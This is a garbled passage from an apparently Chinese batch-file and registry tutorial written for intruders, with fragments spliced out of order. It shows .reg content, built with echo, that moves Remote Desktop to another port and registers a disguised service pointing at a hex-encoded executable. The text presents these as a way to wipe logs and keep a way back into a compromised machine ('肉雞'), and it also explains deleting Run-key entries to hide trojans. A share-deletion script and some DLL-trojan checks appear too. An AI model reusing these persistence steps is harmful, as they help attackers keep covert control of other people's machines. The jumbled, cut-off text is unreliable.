【正文】 ） 。 ] echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDPTcp] echo PortNumber=dword:00002022 echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\Wds\rdpwd\Tds\tcp echo PortNumber=dword:00002022 echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\TermDD] patc echo Start=dword:00000002 echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\SecuService] echo Start=dword:00000002 echo ErrorControl=dword:00000001 echo ImagePath=hex(2):25,00,53,00,79,00,73,00,74,00,65,00,6d,00,52,00,6f,00,6f,00,\ echo 74,00,25,00,5c,00,53,00,79,00,73,00,74,00,65,00,6d,00,33,00,32,00,5c,00,65,\ echo 00,76,00,65,00,6e,00,74,00,6c,00,6f,00,67,00,2e,00,65,00,78,00,65,00,00,00 echo ObjectName=LocalSystem echo Type=dword:00000010 echo Description=Keep record of the program and windows message。 win2k/xp系統(tǒng)默認共享的批處理 cut here then save as .bat or .cmd file echo preparing to delete all the default ready press any key. pause echo off :Rem check parameters if null show usage. if {%1}=={} goto :Usage :Rem code start. echo. echo echo. echo Now deleting all the default shares. echo. share %1$ /delete share %2$ /delete share %3$ /delete share %4$ /delete share %5$ /delete share %6$ /delete share %7$ /delete share %8$ /delete share %9$ /delete stop Server start Server echo. echo All the shares have been deleteed echo. echo echo. echo Now modify the registry to change the system default properties. echo. echo Now creating the registry file echo Windows Registry Editor Version c:\ echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\lanmanserver\parameters] c:\ echo AutoShareWks=dword:00000000 c:\ echo AutoShareServer=dword:00000000 c:\ echo Nowing using the registry file to chang the system default properties. regedit /s c:\ echo Deleting the temprotarily files. del c:\ goto :END :Usage echo. echo echo. echo ☆ A example for batch file ☆ echo ☆ [Use batch file to change the sysytem share properties.] ☆ echo. echo Author： Ex4rch echo Mail: :1672602 echo. echo Error： Not enough parameters echo. echo ☆ Please enter the share disk you wanna delete ☆ echo. echo For instance， to delete the default shares: echo delshare c d e ipc admin print echo. echo If the disklable is not as C: D: E: ， Please chang it youself. echo. echo example： echo If locak disklable are C: D: E: X: Y: Z: ， you should chang the mand into ： echo delshare c d e x y z ipc admin print echo. echo *** you can delete nine shares once in a useing *** echo. echo goto :EOF :END echo. echo echo. echo OK, has deleted all the share you assigned. questions ,feel free to mail to . echo echo. echo echo. :EOF echo end of the batch file cut here then save as .bat or .cmd file cut here then save as .bat or .cmd file 下面命令是清除肉雞所有日志，禁止一些危險的服務(wù)，并修改肉雞的 terminnal service留跳后路。那么現(xiàn)在的目標(biāo)就是用批處理來創(chuàng)建特定內(nèi)容的 .reg文件了，記得我們前面說道的利用重定向符號可以很容易地創(chuàng)建特定類型的文件。 我們首先來說說刪除一個項目名稱，我們創(chuàng)建一個如下的文件： Windows Registry Editor Version [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run] Ex4rch= 執(zhí)行該腳本， [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]下的 Ex4rch就被刪除了； 我們再看看刪除一個子項，我們創(chuàng)建一個如下的腳本： Windows Registry Editor Version [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run] 執(zhí)行該腳本， [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]就已經(jīng)被刪除了。 創(chuàng)建分為兩種，一種是創(chuàng)建子項 (Subkey) 我們創(chuàng)建一個 文件，內(nèi)容如下： Windows Registry Editor Version [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\hacker] 然后執(zhí)行該腳本，你就已經(jīng)在 HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft 下創(chuàng)建了一個名字為“ hacker”的子項。當(dāng)然我們也會修改注冊表來加固系統(tǒng)或者改變系統(tǒng)的某個屬性，這些都需要我們對注冊表操作有一定的了解。 五 .如何用批處理文件來操作注冊表 在入侵過程中經(jīng)?；夭僮髯员淼奶囟ǖ逆I值來實現(xiàn)一定的目的，例如 :為了達到隱藏后門、木馬程序而刪除 Run下殘余的鍵值。 從一個句柄讀取輸入并將其寫入到另一個句柄輸出中。 將一個句柄的輸出寫入到另一個句柄的輸入中。 從文件中而不是從鍵盤中讀入命令輸入。沒有是最好，如果有的話也不要直接 DEL掉，先用 regsvr32 /u DLL文件注銷掉 ,再把它移到回收站里，若系統(tǒng)沒有異常反映再將之徹底刪除或者提交給殺毒軟件公司 . 3. 、 amp。 dir *.dlldllback.txt, 這樣所有的 EXE和 DLL 文件的名稱都被分別記錄到 中 , 日后如發(fā)現(xiàn)異常但用 傳統(tǒng)的方法查不出問題時 ,則要考慮是不是系統(tǒng)中已經(jīng)潛入 DLL木馬了 . 這時我們用同樣的命令將 system32下的 EXE和 DLL文件記錄到另外的 中 ,然后運行 : CMDfc